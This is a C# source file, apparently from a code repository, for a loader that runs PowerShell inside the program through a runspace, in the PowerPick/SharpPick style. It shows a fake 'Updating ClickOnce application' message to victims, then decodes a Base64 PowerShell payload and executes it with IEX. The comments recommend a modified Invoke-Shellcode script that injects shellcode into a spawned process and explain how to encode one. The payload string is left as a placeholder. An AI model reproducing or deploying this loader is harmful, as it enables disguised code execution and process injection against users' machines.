70 lines
2.3 KiB
C#
70 lines
2.3 KiB
C#
using System;
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using System.Collections.Generic;
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using System.Linq;
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using System.Text;
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using System.IO;
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using System.Resources;
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using System.Net;
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using System.Collections.ObjectModel;
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//
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// Use NuGet to install System.Management.Automation reference.
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//
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using System.Management.Automation;
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using System.Management.Automation.Runspaces;
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namespace ConsoleApplication2
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{
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class Program
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{
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//
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// This function and concept comes from PowerPick / SharpPick project by Sixdub:
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// https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick
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//
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static string RunPS(string cmd)
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{
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// Init stuff
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Runspace runspace = RunspaceFactory.CreateRunspace();
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runspace.Open();
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RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
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Pipeline pipeline = runspace.CreatePipeline();
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// Add commands
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pipeline.Commands.AddScript(cmd);
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// Prep PS for string output and invoke
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pipeline.Commands.Add("Out-String");
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Collection<PSObject> results = pipeline.Invoke();
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runspace.Close();
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// Convert records to strings
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StringBuilder stringBuilder = new StringBuilder();
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foreach (PSObject obj in results)
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{
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stringBuilder.Append(obj);
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}
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return stringBuilder.ToString().Trim();
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}
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static void Main()
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{
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Console.WriteLine("Updating ClickOnce application. Please wait...");
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//
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// Here comes your Base64 encoded Powershell payload.
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// A good example of what to stick in here is a modified Invoke-Shellcode.ps1
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// that will spawn a process and insert there some shellcode.
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// You can prepare Base64 UTF8 shellcode via:
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// PS> $text = Get-Content yourShellcode.ps1
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// PS> $bytes = [System.Text.Encoding]::Unicode.GetBytes($text);
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// PS> $encoded = [Convert]::ToBase64String($bytes);
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// PS> $encoded | Out-File "myEncodedShellcode.ps1"
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//
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String base64encodedPayload = "<INSERT HERE YOUR BASE64 ENCODED POWERSHELL PAYLOAD>";
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RunPS("IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(\"" + base64encodedPayload + "\")))");
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}
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}
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}
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